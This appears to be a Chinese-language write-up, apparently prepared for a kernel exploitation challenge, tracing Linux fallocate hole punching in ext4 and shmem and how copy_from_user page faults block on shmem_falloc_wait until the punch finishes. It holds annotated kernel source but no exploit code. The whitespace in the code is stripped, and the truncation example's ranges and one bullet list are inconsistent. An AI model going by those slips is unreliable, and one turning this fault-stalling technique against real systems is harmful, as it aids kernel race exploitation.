状态树中标记为 EXTENT_STATUS_HOLEext4_es_insert_extent(inode, first_block, hole_len, ~0, EXTENT_STATUS_HOLE, 0);up_write(&EXT4_I(inode)->i_data_sem); }ext4_fc_track_range(handle, inode, first_block, stop_block);if (IS_SYNC(inode))ext4_handle_sync(handle);inode_set_mtime_to_ts(inode, inode_set_ctime_current(inode)); ret2 = ext4_mark_inode_dirty(handle, inode);if (unlikely(ret2)) ret = ret2;if (ret >= 0)ext4_update_inode_fsync_trans(handle, inode, 1);out_stop:ext4_journal_stop(handle);out_dio:filemap_invalidate_unlock(mapping);out_mutex:inode_unlock(inode);return ret;}
+```
+
+### shmem/tmpfs 文件 实现
+> tmpfs 文件就是 /tmp 目录下的文件
+> Shmem 文件就是 memfd_create 创建的fd
+
+#### 流程图
+
+```
+用户空间: fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, offset, len) ↓系统调用: SYSCALL_DEFINE4(fallocate, ...) ↓ksys_fallocate() ↓vfs_fallocate() ↓file->f_op->fallocate() [对于 shmem 文件,指向 shmem_fallocate] ↓┌─────────────────────────────────────────────────────────────┐│ shmem_fallocate() [mm/shmem.c:3376] ││ ││ if (mode & FALLOC_FL_PUNCH_HOLE) { ││ ├─ 1. 设置等待队列和标记 ││ │ └─ inode->i_private = &shmem_falloc ││ │ ││ ├─ 2. unmap_mapping_range() [mm/memory.c:3857] ││ │ └─ unmap_mapping_pages() [mm/memory.c:3821] ││ │ └─ unmap_mapping_range_tree() ││ │ └─ unmap_mapping_range_vma() ││ │ └─ zap_page_range_single() ││ │ └─ 取消映射所有 VMA 中的页面 ││ │ ││ ├─ 3. shmem_truncate_range() [mm/shmem.c:1146] ││ │ └─ shmem_undo_range() [mm/shmem.c:995] ││ │ ├─ find_lock_entries() [mm/filemap.c] ││ │ │ └─ 查找并锁定页面缓存中的 folio ││ │ ├─ truncate_inode_folio() [mm/truncate.c] ││ │ │ └─ 截断完整的 folio ││ │ ├─ truncate_inode_partial_folio() [mm/truncate.c]││ │ │ └─ 截断部分 folio(处理跨页边界) ││ │ ├─ shmem_free_swap() ││ │ │ └─ 释放交换空间条目 ││ │ └─ shmem_recalc_inode() ││ │ └─ 重新计算 inode 的统计信息 ││ │ ││ └─ 4. 清除标记并唤醒等待线程 ││ ├─ inode->i_private = NULL ││ └─ wake_up_all(&shmem_falloc_waitq) │└─────────────────────────────────────────────────────────────┘
+```
+
+#### shmem_fallocate (设置等待队列)
+- DECLARE_WAIT_QUEUE_HEAD_ONSTACK(shmem_falloc_waitq) 在栈上创建等待队列
+
+- inode->i_private = &shmem_falloc 标记正在打洞,其他线程可通过此字段检测
+
+- shmem_falloc.start 和 shmem_falloc.next 记录打洞的页范围
+
+- 完成后 wake_up_all() 唤醒等待线程
+
+```
+staticlongshmem_fallocate(struct file *file, int mode, loff_t offset,loff_t len){struct inode *inode = file_inode(file);struct shmem_sb_info *sbinfo = SHMEM_SB(inode->i_sb);struct shmem_inode_info *info = SHMEM_I(inode);struct shmem_falloc shmem_falloc;pgoff_t start, index, end, undo_fallocend;int error;// 检查模式:只支持 KEEP_SIZE 和 PUNCH_HOLEif (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE))return -EOPNOTSUPP;// 获取 inode 锁(防止并发修改)inode_lock(inode);if (mode & FALLOC_FL_PUNCH_HOLE) {struct address_space *mapping = file->f_mapping;// 对齐到页边界:向上取整起始位置,向下取整结束位置loff_t unmap_start = round_up(offset, PAGE_SIZE);loff_t unmap_end = round_down(offset + len, PAGE_SIZE) - 1;// 在栈上声明等待队列头(用于同步打洞和 page fault)DECLARE_WAIT_QUEUE_HEAD_ONSTACK(shmem_falloc_waitq);// 检查文件密封:如果文件被密封为只写,不允许打洞if (info->seals & (F_SEAL_WRITE | F_SEAL_FUTURE_WRITE)) { error = -EPERM;goto out; }// 步骤1: 设置 shmem_falloc 结构 shmem_falloc.waitq = &shmem_falloc_waitq; // 等待队列 shmem_falloc.start = (u64)unmap_start >> PAGE_SHIFT; // 起始页号 shmem_falloc.next = (unmap_end + 1) >> PAGE_SHIFT; // 结束页号+1// 步骤2: 将 shmem_falloc 保存到 inode->i_private// 这样 shmem_fault() 可以检测到正在打洞spin_lock(&inode->i_lock); inode->i_private = &shmem_falloc;spin_unlock(&inode->i_lock);// 步骤3: 取消映射 VMA 中的页面(如果有多个进程映射)if ((u64)unmap_end > (u64)unmap_start)unmap_mapping_range(mapping, unmap_start,1 + unmap_end - unmap_start, 0);// 步骤4: 截断页面缓存和交换空间shmem_truncate_range(inode, offset, offset + len - 1);/* No need to unmap again: hole-punching leaves COWed pages */// 步骤5: 清除标记并唤醒所有等待的线程spin_lock(&inode->i_lock); inode->i_private = NULL; // 清除标记wake_up_all(&shmem_falloc_waitq); // 唤醒等待的 page fault 线程WARN_ON_ONCE(!list_empty(&shmem_falloc_waitq.head));spin_unlock(&inode->i_lock); error = 0;goto out; }
+```
+
+#### unmap_mapping_range
+- 将字节范围转换为页号范围
+
+- 调用 unmap_mapping_pages() 执行取消映射
+
+```
+voidunmap_mapping_range(struct address_space *mapping,loff_tconst holebegin, loff_tconst holelen, int even_cows){// 将字节偏移转换为页号pgoff_t hba = (pgoff_t)(holebegin) >> PAGE_SHIFT;pgoff_t hlen = ((pgoff_t)(holelen) + PAGE_SIZE - 1) >> PAGE_SHIFT;// 检查溢出if (sizeof(holelen) > sizeof(hlen)) {longlong holeend = (holebegin + holelen + PAGE_SIZE - 1) >> PAGE_SHIFT;if (holeend & ~(longlong)ULONG_MAX) hlen = ULONG_MAX - hba + 1; }// 调用实际取消映射函数unmap_mapping_pages(mapping, hba, hlen, even_cows);}
+```
+
+#####
+##### unmap_mapping_pages(取消映射)
+- 遍历 i_mmap 树(所有映射该文件的 VMA)
+
+- 对每个 VMA 调用 unmap_mapping_range_vma() 取消映射
+
+```
+voidunmap_mapping_pages(struct address_space *mapping, pgoff_t start,pgoff_t nr, bool even_cows){struct zap_details details = { };pgoff_t first_index = start;pgoff_t last_index = start + nr - 1; details.even_cows = even_cows; // 是否取消映射 COW 页面if (last_index < first_index) last_index = ULONG_MAX;// 获取映射锁(读锁,允许多个读者)i_mmap_lock_read(mapping);// 如果 i_mmap 树不为空,遍历并取消映射if (unlikely(!RB_EMPTY_ROOT(&mapping->i_mmap.rb_root)))unmap_mapping_range_tree(&mapping->i_mmap, first_index, last_index, &details);i_mmap_unlock_read(mapping);}
+```
+
+#### shmem_truncate_range(截断范围)
+> 文件系统上下文中,“截断”指从页面缓存(page cache)中删除指定范围的页面(folio),使页面缓存与文件状态一致。
+
+- 遍历 i_mmap 树(所有映射该文件的 VMA)
+
+- 对每个 VMA 调用 unmap_mapping_range_vma() 取消映射
+
+```
+voidshmem_truncate_range(struct inode *inode, loff_t lstart, loff_t lend){// 调用核心实现函数shmem_undo_range(inode, lstart, lend, false);// 更新修改时间和变更时间inode_set_mtime_to_ts(inode, inode_set_ctime_current(inode));// 增加版本号(用于缓存失效)inode_inc_iversion(inode);}截断前:┌─────────────────────────────────────────┐│ address_space->i_pages (XArray) ││ ┌─────┬─────┬─────┬─────┬─────┐ ││ │ 0 │ 1 │ 2 │ 3 │ 4 │ ││ └─────┴─────┴─────┴─────┴─────┘ ││ │ │ │ │ │ ││ ▼ ▼ ▼ ▼ ▼ ││ folio folio folio folio folio ││ A B C D E │└─────────────────────────────────────────┘执行: truncate_inode_pages_range(mapping, 4096, 12287)范围: [1K, 12K) = 页号 [1, 3)截断后:┌─────────────────────────────────────────┐│ address_space->i_pages (XArray) ││ ┌─────┬─────┬─────┬─────┬─────┐ ││ │ 0 │NULL │NULL │NULL │ 4 │ ││ └─────┴─────┴─────┴─────┴─────┘ ││ │ │ │ ││ ▼ │ │ ││ folio │ │ ││ A │ │ ││ │ │ ││ [已删除] [已删除] ││ folio B folio C ││ folio D │└─────────────────────────────────────────┘操作:1. folio B, C, D 从 XArray 中删除(xas_store(&xas, NULL))2. folio->mapping = NULL(断开关联)3. mapping->nrpages -= 3(更新统计)4. folio 引用计数减 1,如果为 0 则释放到伙伴系统
+```
+
+#####
+##### unmap_mapping_pages
+
+```
+voidunmap_mapping_pages(struct address_space *mapping, pgoff_t start,pgoff_t nr, bool even_cows){struct zap_details details = { };pgoff_t first_index = start;pgoff_t last_index = start + nr - 1; details.even_cows = even_cows; // 是否取消映射 COW 页面if (last_index < first_index) last_index = ULONG_MAX;// 获取映射锁(读锁,允许多个读者)i_mmap_lock_read(mapping);// 如果 i_mmap 树不为空,遍历并取消映射if (unlikely(!RB_EMPTY_ROOT(&mapping->i_mmap.rb_root)))unmap_mapping_range_tree(&mapping->i_mmap, first_index, last_index, &details);i_mmap_unlock_read(mapping);}
+```
+
+#####
+##### shmem_undo_range (核心截断实现)
+- 第一阶段:批量查找并截断完整 folio
+
+- 第二阶段:处理部分页(跨页边界)
+
+- 第三阶段:处理剩余完整 folio
+
+- 释放交换空间并更新统计
+
+```
+staticvoidshmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend,bool unfalloc){struct address_space *mapping = inode->i_mapping;struct shmem_inode_info *info = SHMEM_I(inode);// 将字节偏移转换为页号pgoff_t start = (lstart + PAGE_SIZE - 1) >> PAGE_SHIFT;pgoff_t end = (lend + 1) >> PAGE_SHIFT;struct folio_batch fbatch;pgoff_t indices[PAGEVEC_SIZE];struct folio *folio;bool same_folio;long nr_swaps_freed = 0;pgoff_t index;int i;if (lend == -1) end = -1; /* unsigned, so actually very big */// 如果是在撤销失败的 fallocate,更新 fallocendif (info->fallocend > start && info->fallocend <= end && !unfalloc) info->fallocend = start;// 初始化 folio 批次folio_batch_init(&fbatch); index = start;// 第一阶段:查找并锁定范围内的所有 foliowhile (index < end && find_lock_entries(mapping, &index, end - 1, &fbatch, indices)) {for (i = 0; i < folio_batch_count(&fbatch); i++) { folio = fbatch.folios[i];// 如果是交换条目(xa_is_value)if (xa_is_value(folio)) {if (unfalloc)continue;// 释放交换空间 nr_swaps_freed += shmem_free_swap(mapping, indices[i], folio);continue; }// 如果是普通 folio,截断它if (!unfalloc || !folio_test_uptodate(folio))truncate_inode_folio(mapping, folio);folio_unlock(folio); }folio_batch_remove_exceptionals(&fbatch);folio_batch_release(&fbatch);cond_resched(); // 让出 CPU,避免长时间占用 }// 第二阶段:处理部分页(跨页边界的情况)if (unfalloc)goto whole_folios; same_folio = (lstart >> PAGE_SHIFT) == (lend >> PAGE_SHIFT);// 处理起始页的部分 folio = shmem_get_partial_folio(inode, lstart >> PAGE_SHIFT);if (folio) { same_folio = lend < folio_pos(folio) + folio_size(folio);folio_mark_dirty(folio);// 截断部分 folioif (!truncate_inode_partial_folio(folio, lstart, lend)) { start = folio_next_index(folio);if (same_folio) end = folio->index; }folio_unlock(folio);folio_put(folio); folio = NULL; }// 处理结束页的部分(如果与起始页不同)if (!same_folio) folio = shmem_get_partial_folio(inode, lend >> PAGE_SHIFT);if (folio) {folio_mark_dirty(folio);if (!truncate_inode_partial_folio(folio, lstart, lend)) end = folio->index;folio_unlock(folio);folio_put(folio); }whole_folios:// 第三阶段:处理完整的 folio index = start;while (index < end) {cond_resched();// 查找范围内的 folioif (!find_get_entries(mapping, &index, end - 1, &fbatch, indices)) {/* If all gone or hole-punch or unfalloc, we're done */if (index == start || end != -1)break;/* But if truncating, restart to make sure all gone */ index = start;continue; }for (i = 0; i < folio_batch_count(&fbatch); i++) { folio = fbatch.folios[i];// 处理交换条目if (xa_is_value(folio)) {long swaps_freed;if (unfalloc)continue; swaps_freed = shmem_free_swap(mapping, indices[i], folio);if (!swaps_freed) {/* Swap was replaced by page: retry */ index = indices[i];break; } nr_swaps_freed += swaps_freed;continue; }folio_lock(folio);if (!unfalloc || !folio_test_uptodate(folio)) {if (folio_mapping(folio) != mapping) {/* Page was replaced by swap: retry */folio_unlock(folio); index = indices[i];break; }VM_BUG_ON_FOLIO(folio_test_writeback(folio), folio);// 根据 folio 大小选择不同的截断方式if (!folio_test_large(folio)) {// 普通页:直接截断truncate_inode_folio(mapping, folio); } else if (truncate_inode_partial_folio(folio, lstart, lend)) {// 大页:部分截断,可能需要分割/* * If we split a page, reset the loop so * that we pick up the new sub pages. */if (!folio_test_large(folio)) {folio_unlock(folio); index = start; // 重置索引,重新处理break; } } }folio_unlock(folio); }folio_batch_remove_exceptionals(&fbatch);folio_batch_release(&fbatch); }// 重新计算 inode 的统计信息(释放的交换空间)shmem_recalc_inode(inode, 0, -nr_swaps_freed);}
+```
+
+##
+
+**06******
+
+**访问空洞地址**
+
+> 我们主要研究 shmem 的情况,就用题目中的 copy_from_user 举列子
+
+- 文件系统(如 ext4)通过检查元数据,发现该区域**没有分配****物理块**
+
+- **不会发起真正的磁盘****I/O****去读取数据**
+- **直接返回全零(0x00)给调用者**
+### 流程图
+#### 打洞期间
+
+```
+用户空间: copy_from_user(dst, src, size) ↓内核空间: copy_from_user() [include/linux/uaccess.h:205] ↓ _copy_from_user() / _inline_copy_from_user() ↓ raw_copy_from_user() [arch/x86/include/asm/uaccess_64.h:139] ↓ copy_user_generic() [汇编实现,使用 rep movsb] ↓ [CPU 触发 #PF 异常,因为访问了未映射的页面] ↓中断处理: exc_page_fault() [arch/x86/mm/fault.c:1493] ↓ handle_page_fault() [arch/x86/mm/fault.c:1469] ↓ do_user_addr_fault() [arch/x86/mm/fault.c:1211] ↓ handle_mm_fault() [mm/memory.c:6046] ↓ __handle_mm_fault() [mm/memory.c:5820] ↓ handle_pte_fault() [mm/memory.c:5736] ↓ do_pte_missing() [mm/memory.c:3959] ↓ do_fault() [mm/memory.c:5405] ↓ do_read_fault() [mm/memory.c:5281] (因为是读操作) ↓ __do_fault() [mm/memory.c:4854] ↓ vma->vm_ops->fault() [对于 shmem 文件,指向 shmem_fault] ↓ shmem_fault() [mm/shmem.c:2515] ↓ shmem_falloc_wait() [mm/shmem.c:2474] ← 关键:检查是否正在打洞 ↓ schedule() ← 线程被阻塞,等待打洞完成
+```
+
+#### 打洞后
+
+```
+shmem_falloc_wait() 返回 VM_FAULT_RETRY ↓向上传播到 do_user_addr_fault() ↓检测到 fault & VM_FAULT_RETRY ↓设置 flags |= FAULT_FLAG_TRIED ↓goto retry - 跳回 retry 标签 ↓重新获取 VMA 锁 (lock_mm_and_find_vma) ↓重新调用 handle_mm_fault() ↓再次进入 shmem_fault() ↓这次 inode->i_private 已经为空(打洞完成) ↓正常调用 shmem_get_folio_gfp() 分配页面 ↓完成页面映射,返回成功
+```
+
+### copy_from_user -> raw_copy_from_user
+- 检查复制大小,调用底层复制函数
+
+- 在 x86_64 上通常走 _inline_copy_from_user(),最终调用 raw_copy_from_user()
+
+```
+static __always_inline unsignedlong __must_checkcopy_from_user(void *to, constvoid __user *from, unsignedlong n){if (!check_copy_size(to, n, false))return n;#ifdef INLINE_COPY_FROM_USERreturn _inline_copy_from_user(to, from, n);#elsereturn _copy_from_user(to, from, n);#endif}
+```
+
+### raw_copy_from_user()
+> x86_64 实现
+
+- 调用 copy_user_generic()(汇编实现,使用 rep movsb)
+
+- 访问用户空间地址时,若页面未映射或不可访问,CPU 触发 #PF 异常
+
+```
+static __always_inline __must_check unsignedlongraw_copy_from_user(void *dst, constvoid __user *src, unsignedlong size){return copy_user_generic(dst, (__force void *)src, size);}
+```
+
+### exc_page_fault()
+- 从 CR2 读取触发异常的地址
+
+- 调用 handle_page_fault() 处理
+
+```
+DEFINE_IDTENTRY_RAW_ERRORCODE(exc_page_fault){irqentry_state_t state;unsignedlong address; address = cpu_feature_enabled(X86_FEATURE_FRED) ? fred_event_data(regs) : read_cr2();prefetchw(¤t->mm->mmap_lock);/* * KVM uses #PF vector to deliver 'page not present' events to guests * (asynchronous page fault mechanism). The event happens when a * userspace task is trying to access some valid (from guest's point of * view) memory which is not currently mapped by the host (e.g. the * memory is swapped out). Note, the corresponding "page ready" event * which is injected when the memory becomes available, is delivered via * an interrupt mechanism and not a #PF exception * (see arch/x86/kernel/kvm.c: sysvec_kvm_asyncpf_interrupt()). * * We are relying on the interrupted context being sane (valid RSP, * relevant locks not held, etc.), which is fine as long as the * interrupted context had IF=1. We are also relying on the KVM * async pf type field and CR2 being read consistently instead of * getting values from real and async page faults mixed up. * * Fingers crossed. * * The async #PF handling code takes care of idtentry handling * itself. */if (kvm_handle_async_pf(regs, (u32)address))return;/* * Entry handling for valid #PF from kernel mode is slightly * different: RCU is already watching and ct_irq_enter() must not * be invoked because a kernel fault on a user space address might * sleep. * * In case the fault hit a RCU idle region the conditional entry * code reenabled RCU to avoid subsequent wreckage which helps * debuggability. */ state = irqentry_enter(regs);instrumentation_begin();handle_page_fault(regs, error_code, address);instrumentation_end();irqentry_exit(regs, state);}
+```
+
+### do_user_addr_fault()
+> 如果返回 VM_FAULT_RETRY 标签就会重新尝试访问。重新调用
+
+- 设置 FAULT_FLAG_USER 和 FAULT_FLAG_WRITE 等标志
+
+- 查找并锁定 VMA
+
+- 调用 handle_mm_fault() 处理
+
+```
+static inlinevoid do_user_addr_fault(struct pt_regs *regs, unsigned long error_code, unsigned long address){ struct vm_area_struct *vma; struct task_struct *tsk; struct mm_struct *mm; vm_fault_t fault; unsigned int flags = FAULT_FLAG_DEFAULT; tsk = current; mm = tsk->mm;if (unlikely((error_code & (X86_PF_USER | X86_PF_INSTR)) == X86_PF_INSTR)) {/* * Whoops, this is kernel mode code trying to execute from * user memory. Unless this is AMD erratum #93, which * corrupts RIP such that it looks like a user address, * this is unrecoverable. Don't even try to look up the * VMA or look for extable entries. */if (is_errata93(regs, address))return; page_fault_oops(regs, error_code, address);return; }/* kprobes don't want to hook the spurious faults: */if (WARN_ON_ONCE(kprobe_page_fault(regs, X86_TRAP_PF)))return;/* * Reserved bits are never expected to be set on * entries in the user portion of the page tables. */if (unlikely(error_code & X86_PF_RSVD)) pgtable_bad(regs, error_code, address);/* * If SMAP is on, check for invalid kernel (supervisor) access to user * pages in the user address space. The odd case here is WRUSS, * which, according to the preliminary documentation, does not respect * SMAP and will have the USER bit set so, in all cases, SMAP * enforcement appears to be consistent with the USER bit. */if (unlikely(cpu_feature_enabled(X86_FEATURE_SMAP) && !(error_code & X86_PF_USER) && !(regs->flags & X86_EFLAGS_AC))) {/* * No extable entry here. This was a kernel access to an * invalid pointer. get_kernel_nofault() will not get here. */ page_fault_oops(regs, error_code, address);return; }/* * If we're in an interrupt, have no user context or are running * in a region with pagefaults disabled then we must not take the fault */if (unlikely(faulthandler_disabled() || !mm)) { bad_area_nosemaphore(regs, error_code, address);return; }/* Legacy check - remove this after verifying that it doesn't trigger */if (WARN_ON_ONCE(!(regs->flags & X86_EFLAGS_IF))) { bad_area_nosemaphore(regs, error_code, address);return; } local_irq_enable(); perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);/* * Read-only permissions can not be expressed in shadow stack PTEs. * Treat all shadow stack accesses as WRITE faults. This ensures * that the MM will prepare everything (e.g., break COW) such that * maybe_mkwrite() can create a proper shadow stack PTE. */if (error_code & X86_PF_SHSTK) flags |= FAULT_FLAG_WRITE;if (error_code & X86_PF_WRITE) flags |= FAULT_FLAG_WRITE;if (error_code & X86_PF_INSTR) flags |= FAULT_FLAG_INSTRUCTION;/* * We set FAULT_FLAG_USER based on the register state, not * based on X86_PF_USER. User space accesses that cause * system page faults are still user accesses. */if (user_mode(regs)) flags |= FAULT_FLAG_USER;#ifdef CONFIG_X86_64/* * Faults in the vsyscall page might need emulation. The * vsyscall page is at a high address (>PAGE_OFFSET), but is * considered to be part of the user address space. * * The vsyscall page does not have a "real" VMA, so do this * emulation before we go searching for VMAs. * * PKRU never rejects instruction fetches, so we don't need * to consider the PF_PK bit. */if (is_vsyscall_vaddr(address)) {if (emulate_vsyscall(error_code, regs, address))return; }#endifif (!(flags & FAULT_FLAG_USER)) goto lock_mmap; vma = lock_vma_under_rcu(mm, address);if (!vma) goto lock_mmap;if (unlikely(access_error(error_code, vma))) { bad_area_access_error(regs, error_code, address, NULL, vma); count_vm_vma_lock_event(VMA_LOCK_SUCCESS);return; } fault = handle_mm_fault(vma, address, flags | FAULT_FLAG_VMA_LOCK, regs);if (!(fault & (VM_FAULT_RETRY | VM_FAULT_COMPLETED))) vma_end_read(vma);if (!(fault & VM_FAULT_RETRY)) { count_vm_vma_lock_event(VMA_LOCK_SUCCESS); goto done; } count_vm_vma_lock_event(VMA_LOCK_RETRY);if (fault & VM_FAULT_MAJOR) flags |= FAULT_FLAG_TRIED;/* Quick path to respond to signals */if (fault_signal_pending(fault, regs)) {if (!user_mode(regs)) kernelmode_fixup_or_oops(regs, error_code, address, SIGBUS, BUS_ADRERR, ARCH_DEFAULT_PKEY);return; }lock_mmap:retry: vma = lock_mm_and_find_vma(mm, address, regs);if (unlikely(!vma)) { bad_area_nosemaphore(regs, error_code, address);return; }/* * Ok, we have a good vm_area for this memory access, so * we can handle it.. */if (unlikely(access_error(error_code, vma))) { bad_area_access_error(regs, error_code, address, mm, vma);return; }/* * If for any reason at all we couldn't handle the fault, * make sure we exit gracefully rather than endlessly redo * the fault. Since we never set FAULT_FLAG_RETRY_NOWAIT, if * we get VM_FAULT_RETRY back, the mmap_lock has been unlocked. * * Note that handle_userfault() may also release and reacquire mmap_lock * (and not return with VM_FAULT_RETRY), when returning to userland to * repeat the page fault later with a VM_FAULT_NOPAGE retval * (potentially after handling any pending signal during the return to * userland). The return to userland is identified whenever * FAULT_FLAG_USER|FAULT_FLAG_KILLABLE are both set in flags. */ fault = handle_mm_fault(vma, address, flags, regs);if (fault_signal_pending(fault, regs)) {/* * Quick path to respond to signals. The core mm code * has unlocked the mm for us if we get here. */if (!user_mode(regs)) kernelmode_fixup_or_oops(regs, error_code, address, SIGBUS, BUS_ADRERR, ARCH_DEFAULT_PKEY);return; }/* The fault is fully completed (including releasing mmap lock) */if (fault & VM_FAULT_COMPLETED)return;/* * If we need to retry the mmap_lock has already been released, * and if there is a fatal signal pending there is no guarantee * that we made any progress. Handle this case first. */if (unlikely(fault & VM_FAULT_RETRY)) { flags |= FAULT_FLAG_TRIED; goto retry; } mmap_read_unlock(mm);done:if (likely(!(fault & VM_FAULT_ERROR)))return;if (fatal_signal_pending(current) && !user_mode(regs)) { kernelmode_fixup_or_oops(regs, error_code, address,0, 0, ARCH_DEFAULT_PKEY);return; }if (fault & VM_FAULT_OOM) {/* Kernel mode? Handle exceptions or die: */if (!user_mode(regs)) { kernelmode_fixup_or_oops(regs, error_code, address, SIGSEGV, SEGV_MAPERR, ARCH_DEFAULT_PKEY);return; }/* * We ran out of memory, call the OOM killer, and return the * userspace (which will retry the fault, or kill us if we got * oom-killed): */ pagefault_out_of_memory(); } else {if (fault & (VM_FAULT_SIGBUS|VM_FAULT_HWPOISON| VM_FAULT_HWPOISON_LARGE)) do_sigbus(regs, error_code, address, fault);else if (fault & VM_FAULT_SIGSEGV) bad_area_nosemaphore(regs, error_code, address);else BUG(); }}NOKPROBE_SYMBOL(do_user_addr_fault);
+```
+
+### handle_mm_fault(页错误处理入口)
+
+```
+CPU 硬件检测 ↓ (触发 #PF 异常)软件层页表遍历 (__handle_mm_fault) ├─ PGD → P4D → PUD → PMD → PTE ├─ 检查大页 (PUD/PMD 级别) └─ 都不是大页 → handle_pte_fault() ↓handle_pte_fault() 检查 PTE ├─ pte_none() → do_pte_missing() → do_fault() → shmem_fault() ├─ !pte_present() → do_swap_page() (页面在 swap) └─ pte_present() → 处理权限问题或更新访问标志
+```
+
+- 处理内存控制组(memcg)和 LRU
+
+- 调用 __handle_mm_fault() 进行实际处理
+
+```
+/** * handle_mm_fault - 页错误处理的主入口函数 * @vma: 发生页错误的虚拟内存区域 * @address: 触发页错误的地址 * @flags: 页错误标志(FAULT_FLAG_USER, FAULT_FLAG_WRITE 等) * @regs: 寄存器状态(可选,用于统计) * * 功能说明: * 这是内存管理子系统处理页错误的主要入口点。 * 在 do_user_addr_fault() 中找到 VMA 后,会调用此函数。 * * 处理流程: * 1. 验证 VMA 访问权限 * 2. 处理内存控制组(memcg)和 LRU 相关逻辑 * 3. 区分大页(hugetlb)和普通页,分别处理 * 4. 对于普通页,调用 __handle_mm_fault() 进行页表遍历和 PTE 处理 * * 返回值: * VM_FAULT_* 系列返回值,表示页错误处理结果 * * 注意: * 函数返回后,vma 可能已经被释放(如果 mmap_lock 被释放), * 因此不能再访问 vma 指针。 */vm_fault_thandle_mm_fault(struct vm_area_struct *vma, unsignedlong address,unsignedint flags, struct pt_regs *regs){/* If the fault handler drops the mmap_lock, vma may be freed */struct mm_struct *mm = vma->vm_mm;vm_fault_t ret;bool is_droppable; __set_current_state(TASK_RUNNING); ret = sanitize_fault_flags(vma, &flags);if (ret)goto out;if (!arch_vma_access_permitted(vma, flags & FAULT_FLAG_WRITE, flags & FAULT_FLAG_INSTRUCTION, flags & FAULT_FLAG_REMOTE)) { ret = VM_FAULT_SIGSEGV;goto out; } is_droppable = !!(vma->vm_flags & VM_DROPPABLE);/* * Enable the memcg OOM handling for faults triggered in user * space. Kernel faults are handled more gracefully. */if (flags & FAULT_FLAG_USER)mem_cgroup_enter_user_fault();lru_gen_enter_fault(vma);if (unlikely(is_vm_hugetlb_page(vma))) ret = hugetlb_fault(vma->vm_mm, vma, address, flags);else ret = __handle_mm_fault(vma, address, flags);/* * Warning: It is no longer safe to dereference vma-> after this point, * because mmap_lock might have been dropped by __handle_mm_fault(), so * vma might be destroyed from underneath us. */lru_gen_exit_fault();/* If the mapping is droppable, then errors due to OOM aren't fatal. */if (is_droppable) ret &= ~VM_FAULT_OOM;if (flags & FAULT_FLAG_USER) {mem_cgroup_exit_user_fault();/* * The task may have entered a memcg OOM situation but * if the allocation error was handled gracefully (no * VM_FAULT_OOM), there is no need to kill anything. * Just clean up the OOM state peacefully. */if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM))mem_cgroup_oom_synchronize(false); }out:mm_account_fault(mm, regs, address, flags, ret);return ret;}EXPORT_SYMBOL_GPL(handle_mm_fault);
+```
+
+### __handle_mm_fault
+
+```
+/** * __handle_mm_fault - 页表遍历和页错误处理的核心函数 * @vma: 发生页错误的虚拟内存区域 * @address: 触发页错误的地址 * @flags: 页错误标志 * * 功能说明: * 这是页错误处理的核心函数,负责遍历页表结构并处理不同级别的页错误。 * 对于 punch hole 场景,最终会遍历到 PTE 级别,发现 PTE 为空后调用 * handle_pte_fault() 处理。 * * 页表遍历流程(x86_64 五级页表): * PGD (Page Global Directory) * ↓ * P4D (Page 4th Directory) * ↓ * PUD (Page Upper Directory) - 检查是否为大页(1GB) * ↓ * PMD (Page Middle Directory) - 检查是否为大页(2MB) * ↓ * PTE (Page Table Entry) - 普通页(4KB) * * 处理逻辑: * 1. 逐级分配页表项(如果不存在) * 2. 检查每一级是否为大页(THP),如果是则特殊处理 * 3. 如果都不是大页,继续到下一级 * 4. 最终到达 PTE 级别,调用 handle_pte_fault() 处理 * * 对于 punch hole 场景: * - PTE 为空(pte_none),表示页面未映射 * - handle_pte_fault() 会检测到并调用 do_pte_missing() * - 最终调用文件系统的 fault 处理函数(如 shmem_fault) */static vm_fault_t __handle_mm_fault(struct vm_area_struct *vma, unsigned long address, unsigned int flags){ struct vm_fault vmf = { .vma = vma, .address = address & PAGE_MASK, .real_address = address, .flags = flags, .pgoff = linear_page_index(vma, address), .gfp_mask = __get_fault_gfp_mask(vma), }; struct mm_struct *mm = vma->vm_mm; unsigned long vm_flags = vma->vm_flags; pgd_t *pgd; p4d_t *p4d; vm_fault_t ret;/* 步骤1: 遍历 PGD 和 P4D */ pgd = pgd_offset(mm, address); p4d = p4d_alloc(mm, pgd, address);if (!p4d)return VM_FAULT_OOM;/* 步骤2: 遍历 PUD,检查是否为大页(1GB) */ vmf.pud = pud_alloc(mm, p4d, address);if (!vmf.pud)return VM_FAULT_OOM;retry_pud:if (pud_none(*vmf.pud) && thp_vma_allowable_order(vma, vm_flags, TVA_IN_PF | TVA_ENFORCE_SYSFS, PUD_ORDER)) { ret = create_huge_pud(&vmf);if (!(ret & VM_FAULT_FALLBACK))return ret; } else { pud_t orig_pud = *vmf.pud; barrier();if (pud_trans_huge(orig_pud) || pud_devmap(orig_pud)) {/* * TODO once we support anonymous PUDs: NUMA case and * FAULT_FLAG_UNSHARE handling. */if ((flags & FAULT_FLAG_WRITE) && !pud_write(orig_pud)) { ret = wp_huge_pud(&vmf, orig_pud);if (!(ret & VM_FAULT_FALLBACK))return ret; } else { huge_pud_set_accessed(&vmf, orig_pud);return 0; } } }/* 步骤3: 遍历 PMD,检查是否为大页(2MB) */ vmf.pmd = pmd_alloc(mm, vmf.pud, address);if (!vmf.pmd)return VM_FAULT_OOM;/* Huge pud page fault raced with pmd_alloc? */if (pud_trans_unstable(vmf.pud)) goto retry_pud;if (pmd_none(*vmf.pmd) && thp_vma_allowable_order(vma, vm_flags, TVA_IN_PF | TVA_ENFORCE_SYSFS, PMD_ORDER)) { ret = create_huge_pmd(&vmf);if (!(ret & VM_FAULT_FALLBACK))return ret; } else { vmf.orig_pmd = pmdp_get_lockless(vmf.pmd);if (unlikely(is_swap_pmd(vmf.orig_pmd))) { VM_BUG_ON(thp_migration_supported() && !is_pmd_migration_entry(vmf.orig_pmd));if (is_pmd_migration_entry(vmf.orig_pmd)) pmd_migration_entry_wait(mm, vmf.pmd);return 0; }if (pmd_trans_huge(vmf.orig_pmd) || pmd_devmap(vmf.orig_pmd)) {if (pmd_protnone(vmf.orig_pmd) && vma_is_accessible(vma))return do_huge_pmd_numa_page(&vmf);if ((flags & (FAULT_FLAG_WRITE | FAULT_FLAG_UNSHARE)) && !pmd_write(vmf.orig_pmd)) { ret = wp_huge_pmd(&vmf);if (!(ret & VM_FAULT_FALLBACK))return ret; } else { 